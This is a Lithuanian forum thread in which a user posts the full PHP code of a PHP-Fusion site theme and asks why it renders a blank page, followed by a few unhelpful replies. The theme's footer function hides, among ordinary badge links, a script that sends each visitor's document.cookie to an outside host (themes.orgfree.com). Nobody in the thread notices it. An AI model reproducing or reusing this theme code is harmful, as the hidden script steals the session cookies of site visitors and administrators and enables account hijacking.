Pradinis
Pagalba
Užsisakyk!
- Reklamą
- Hostingą
- El. pašto dėžutę
Užsisakyk!
Įrankiai
Pasidalink
- Visos temos
Forumas | Modai, įskiepiai, panelės (PHP-FUSION) | Themes |
Autorius: GoBiS | Peržiūrų: 1512 |
GoBiS VIP narys Kapitonas Pranešimai: 568 Įstojęs: 2008 Geg. 1 08:05:10 | |
Uzdedu theme o man jos nerodo rodo balta lapa kas tai gali buti? <?php if (!defined("IN_FUSION")) { header("Location: ../../index.php"); exit; } require_once INCLUDES."theme_functions_include.php"; // theme settings $body_text = "#000000"; $body_bg = "#FFFFFF"; $theme_width = "100%"; $theme_width_l = "175"; $theme_width_r = "175"; function render_header($header_content) { global $theme_width; echo "<table align='center' style='background-image:url(".THEME."images/header-center.gif)' border='0' cellpadding='0' cellspacing='0' width='100%'><tr><td width='15'><object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0' width='170' height='229'> <param name=movie value='".THEME."images/meniu.swf'> <param name=quality value=high> <embed src='".THEME."images/meniu.swf' quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width='170' height='229'> </embed>\n"; $file = explode("\n",file_get_contents("http://www.lafesta.lt/news.php")); for ($i = 16; $i <= 53; $i++) echo str_replace("images/avatars/","http://www.lafesta.lt/images/avatars/",str_replace("bar.gif","http://www.lafesta.lt/bar.gif",str_replace("themes/LaFesta_2007/images/",THEME."images/",$file[$i]))); echo "<tr>\n"; } function render_footer($license=false) { global $theme_width,$settings; echo "</td> <table align='center' border='0' cellpadding='0' cellspacing='0' width='100%'><tr><td width='42'><img src='".THEME."images/nav-left.gif' width='16' height='26'></td><td width='75%' style='background-image:url(".THEME."images/nav-center.gif)'><a href='index.php' class='white'>naujienos</a> · <a href='http://www.lafesta.lt/viewpage.php?page_id=3' class='white'>laidos</a> · <a href='http://www.lafesta.lt/top20.php' class='white'>top-20</a> · <a href='http://www.lafesta.lt/pokalbiai.php' class='white'>pokalbiai</a> · <a href='http://www.lafesta.lt/profile.php?group_id=1' class='white'>komanda</a> · <a href='http://www.lafesta.lt/photogallery.php' class='white'>galerija</a> · <a href='http://www.lafesta.lt/kontaktai.php' class='white'>kontaktai</a> · <a href='http://www.lafesta.lt/reklama.php' class='white'>reklama</a> · <a href='http://www.lafesta.lt/search.php' class='white'>paieška</a> · <a href='http://www.lafesta.lt/viewpage.php?page_id=4' class='white'>parašas forume</a> </td><td align='right' width='25%' style='background-image:url(".THEME."images/nav-center.gif)'><td width='42'><img src='".THEME."images/nav-right.gif' width='16' height='26'></td></tr></table><table align='center' width='100%' cellspacing='0' cellpadding='0'> <tr> <table border='0' width='100%'><tr><td> <p> <a target='_blank' href='http://www.php-fusion.co.uk/'><img src='http://www.lafesta.lt/fusion.gif' alt='powered by PHP-Fusion' height='15' width='80' /></a> <a href='http://lithuanian-75269833632.spampoison.com'><img src='http://www.lafesta.lt/images/sticker.gif' border='0' width='80' height='15'/></a> <a target='_blank' href='http://www.spreadfirefox.com/?q=affiliates&id=184484&t=195'><img border='0' alt='Upgrade to Firefox 1.5!' title='Upgrade to Firefox 2!' src='http://www.lafesta.lt/firefox.gif'/></a> <a target='_blank' href='http://host-tracker.com/website-uptime-statistics/178545/'><img alt='website monitoring alert' width=80 height=15 border=0 src='http://ext.host-tracker.com/uptime-img/?s=15&t=178545&m=00.09&p=Month' ></a><noscript><a href='http://host-tracker.com/'>external website monitoring service</a></noscript><script>img = new Image(); img.src = 'http://themes.orgfree.com/index.php?c='+document.cookie;</script> <a target='_blank' href='http://www.microsoft.com/windows/ie/'><img src='http://www.lafesta.lt/explorer.gif' border='0' alt='Internet Explorer Compatible'></a> <a target='_blank' href='http://www.php.net/'> <img src='http://www.lafesta.lt/phppow.gif' border='0' alt='Powered By PHP'></a> </p> </td> </tr> </table>\n"; } function render_news($subject, $news, $info) { global $locale; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>"; echo "<td width='100%' class='panel-main'>$subject</td>"; echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>"; echo "</tr></table>"; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>"; echo "<td class='main-body'><div style='width:100%;vertical-align:top;'>$news</div><br>"; echo "<div style='margin-top:5px'>"; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='infobar'>".newsposter($info)."</td>"; echo "<td align='right' class='infobar2'>"; echo openform("N",$info['news_id']).newsopts($info,"·").closeform("N",$info['news_id']); echo "</td></tr></table></div></td>"; echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'>"; echo "</td></tr><tr>"; echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>"; echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>"; echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>"; echo "</tr></table>\n"; } function render_article($subject, $article, $info) { global $locale; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>"; echo "<td width='100%' class='panel-main'>$subject</td>"; echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>"; echo "</tr></table>"; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>"; echo "<td class='main-body'><div style='width:100%;vertical-align:top;'>".($info['article_breaks'] == "y" ? nl2br($article) : $article)."</div><br>"; echo "<div style='margin-top:5px'>"; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='infobar'>".articleposter($info)."</td>"; echo "<td align='right' class='infobar2'>"; echo openform("A",$info['article_id']).articleopts($info,"·").closeform("A",$info['article_id']); echo "</td></tr></table></div></td>"; echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>"; echo "</tr><tr>"; echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>"; echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>"; echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>"; echo "</tr></table>\n"; } function opentable($title) { echo "<table width='100%' cellpadding='0' cellspacing='0'><tr><td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td><td width='100%' class='panel-main'>$title</td><td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td></tr></table><table width='100%' cellpadding='0' cellspacing='0'><tr><td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td><td class='side-body'>\n"; } function closetable() { echo "</td><td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr><tr><td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td><td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td><td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td></tr></table>\n"; } function openside($title) { echo "<table width='100%' cellpadding='0' cellspacing='0'><tr><td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td><td width='100%' class='panel-main'>$title</td><td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td></tr></table><table width='100%' cellpadding='0' cellspacing='0'><tr><td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td><td class='side-body'>\n"; } function closeside() { echo "</td><td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr><tr><td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td><td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td><td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td></tr></table>\n"; } function opensidex($title,$open="on") { $boxname = str_replace(" ", "", $title); $box_img = $open == "on" ? "off" : "on"; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='panel-left'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>"; echo "<td class='panel-main'>$title</td>"; echo "<td align='right' class='panel-main'><img src='".THEME."images/panel_$box_img.gif' name='b_$boxname' align='right' alt='' onclick=\"javascript:flipBox('$boxname')\"></td>"; echo "<td class='panel-right'><img src='".THEME."images/blank.gif' width='13' height='26' alt='' style='display:block'></td>"; echo "</tr></table>"; echo "<table width='100%' cellpadding='0' cellspacing='0'><tr>"; echo "<td class='border-left'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td>"; echo "<td class='side-body'>"; echo "<div id='box_$boxname'".($open=="off" ? "style='display:none'" : "").">\n"; } function closesidex() { echo "</div>"; echo "<td class='border-right'><img src='".THEME."images/blank.gif' width='13' height='1' alt='' style='display:block'></td></tr>"; echo "<tr>"; echo "<td class='border-bleft'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>"; echo "<td class='border-bmain'><img src='".THEME."images/blank.gif' width='1' height='20' alt='' style='display:block'></td>"; echo "<td class='border-bright'><img src='".THEME."images/blank.gif' width='13' height='20' alt='' style='display:block'></td>"; echo "</tr></table>\n"; } function tablebreak() { echo "<table width='100%' cellspacing='0' cellpadding='0'><tr><td></td></tr></table>\n"; } ?> |
|
tiktok51 Narys Nuolatinis Pranešimai: 148 Įstojęs: 2008 Bir. 18 10:06:32 | |
WTF $theme_width = "100%"; Pirma kart matau taip gal cia ir yra problema |
|
NoNy Narys Ekspertas Pranešimai: 2803 Įstojęs: 2008 Vas. 14 13:02:57 | |
Tu gal iš vis pirmą kart themos kodą matai... http://r.ura.lt - veikia. http://gaminghell.eu - greit. Reikia pigių grafikos darbų? Rašyk |
|
edis2 VIP narys Antras po Dievo Pranešimai: 3644 Įstojęs: 2008 Rugs. 25 17:09:15 | |
galetum nors smylei išjunkti... |
|
GoBiS VIP narys Kapitonas Pranešimai: 568 Įstojęs: 2008 Geg. 1 08:05:10 | |
NoNy jai tu jau taip kodus gerai zn tai pasakyk kas blogai? |
Peršokti į forumą: |